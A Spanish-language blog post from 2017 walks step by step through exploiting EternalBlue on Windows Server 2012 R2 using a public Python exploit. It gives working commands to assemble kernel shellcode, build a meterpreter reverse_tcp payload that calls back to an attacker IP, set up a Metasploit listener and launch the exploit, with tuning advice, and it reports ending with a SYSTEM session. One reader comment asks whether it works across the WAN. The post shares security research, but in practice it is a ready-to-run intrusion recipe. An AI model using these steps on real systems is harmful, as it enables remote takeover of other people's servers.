viernes, 7 de julio de 2017

[STEP-BY-STEP] Explotar Eternalblue en Windows Server 2012 R2


Tengo el cerebro un poco quemado jaja tan así que no sé cómo empezar a escribir esta nota… ¿y qué mejor forma que admitir que no sé cómo empezar? :-) Lo que sí sé, es que quiero compartirles mi último paper, el cual se basa en una investigación que hice la semana pasada sobre una versión de Eternalblue que decía funcionar sobre targets que originalmente no estaban soportados por dicho exploit.

Se trata de la versión de Sleepya, publicada en su github, precisamente aquí:  https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.

Lo cierto es que el autor de la misma no publicó información sobre su uso y tampoco vi a alguien mostrarlo en funcionamiento, por el contrario, en el github se puede ver gente comentando que el exploit falla. Ese fue el motivo por el cual me puse a investigar, y si bien no pude hacerlo funcionar en Windows 8.1, si pude en Windows Server 2012 R2 :-).

Así que, si todavía no leíste el paper de exploit-db donde publiqué el procedimiento, a continuación dejo un resumen del paso a paso que debes hacer para lograr un impacto exitoso y obtener una sesión de meterpreter sobre el objetivo ;-).

PASO 1: ENSAMBLAR LA KERNEL SHELLCODE
Necesitamos utilizar la kernel shellcode desarrollada por Sleepya, publicada en el siguiente enlace: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm.
Como podemos observar, es un .asm que debemos ensamblar y para ello simplemente utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm.



PASO 2: GENERAR LA USERLAND SHELLCODE
Un payload de metasploit generado con msfvenom será la userland shellcode que acompañará a la kernel shellcode emsamblada en el paso anterior. Generamos el payload con el siguiente comando: msfvenom -p windows/x64/merterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread  LHOST=[IP_ATACANTE] LPORT=4444



PASO 3: UNIR KERNEL SHELLCODE + USERLAND SHELLCODE
Para un impacto exitoso, debemos pasar ambas shellcodes como parámetro al exploit. Por lo tanto, las uniremos en un mismo archivo en formato .bin haciendo un simple “append” de una shellcode con la otra.


Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo “meterpreter.bin” que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.


PASO 4: CONFIGURAR EL LISTENER DE METASPLOIT
El paso previo al lanzamiento del exploit, es configurar el listener de metasploit para que reciba la conexión inversa del meterperter una vez que impactemos con éxito sobre el target.
Al igual que en cualquier otro caso, utilizaremos el módulo de exploit/multi/handler con el payload de meterpreter.



PASO 5: LANZAMIENTO DEL EXPLOIT
El exploit esta desarrollado en Python, por lo tanto, lo descargamos desde el github y lo guardamos en la máquina atacante con extensión .py.

Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las líneas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizará para autenticación. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el target.


Guardamos y procedemos a ejecutar el exploit con los siguientes parámetros:

python exploit.py <ip_target> meterpreter.bin 200

El parámetro con valor “200” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.
Para esta userland shellcode utilizaremos un número de conexiones Groom de 200. Si al impactar no recibimos la conexión inversa, podemos probar incrementando este número de a 50.


Inmediatamente recibiremos la sesión de meterpreter en la terminal de Metasploit.





Cabe destacar que nos encontramos en una sesión de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest

Espero que se diviertan tanto como yo, no lo usen para crear ransomware :-P
Dejo los links al paper: 


Nos leemos pronto!.

Author: Sheila A. Berta.

3 comentarios:

  1. Grosaaa... mucho no conozco del tema pero leyendo el documento es genial. ;)
    Excelente Sheila!!

    ResponderEliminar
  2. Hola hermosura, sabes si funciona en la wan?

    ResponderEliminar